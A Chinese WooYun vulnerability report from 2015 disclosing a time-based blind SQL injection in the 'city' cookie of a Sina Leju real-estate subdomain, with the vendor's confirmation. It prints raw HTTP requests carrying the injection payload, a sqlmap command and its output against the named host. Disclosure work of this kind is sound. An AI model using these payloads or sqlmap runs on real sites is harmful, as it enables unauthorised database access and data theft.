当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091834

漏洞标题:新浪乐居房产又一分站存在SQL注入

相关厂商:新浪

漏洞作者: wcc526

提交时间:2015-01-14 15:23

修复时间:2015-02-28 15:24

公开时间:2015-02-28 15:24

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-14: 细节已通知厂商并且等待厂商处理中
2015-01-14: 厂商已经确认,细节仅向厂商公开
2015-01-24: 细节向核心白帽子及相关领域专家公开
2015-02-03: 细节向普通白帽子公开
2015-02-13: 细节向实习白帽子公开
2015-02-28: 细节向公众公开

简要描述:

新浪乐居房产又一分站存在SQL注入

详细说明:

用户名长度为21

漏洞证明:

GET /index.php HTTP/1.1
Cookie: city=aaa'XOR(if(length(user())=22,sleep(3),0))OR'bbb; randcode=21a46beab55e8917960240648176e858
X-Requested-With: XMLHttpRequest
Referer: http://i.leju.com/
Host: i.leju.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
Content-Length: 4


TimeBase
手工测下,用户名长度为21
用SQLMAP跑的话

GET /index.php HTTP/1.1
Cookie: city=*; randcode=21a46beab55e8917960240648176e858
X-Requested-With: XMLHttpRequest
Referer: http://i.leju.com/
Host: i.leju.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*


╰─➤  sqlmap -r 1.txt --dbms=MySQL --risk=3 --level=5 --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-2985050}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 14:59:17
[14:59:17] [INFO] parsing HTTP request from '1.txt'
custom injection marking character ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q]
[14:59:17] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[14:59:17] [WARNING] provided value for parameter 'city' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[14:59:17] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: city='||(SELECT 'LjDt' FROM DUAL WHERE 7302=7302 AND SLEEP(5))||'; randcode=21a46beab55e8917960240648176e858
---
[14:59:17] [INFO] testing MySQL


[15:01:05] [INFO] fetching current user
[15:01:05] [INFO] retrieved: a


修复方案:

版权声明:转载请注明来源 wcc526@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2015-01-14 16:06

厂商回复:

感谢关注新浪安全,此为合作方网站漏洞,将通知对方修复。

最新状态:

暂无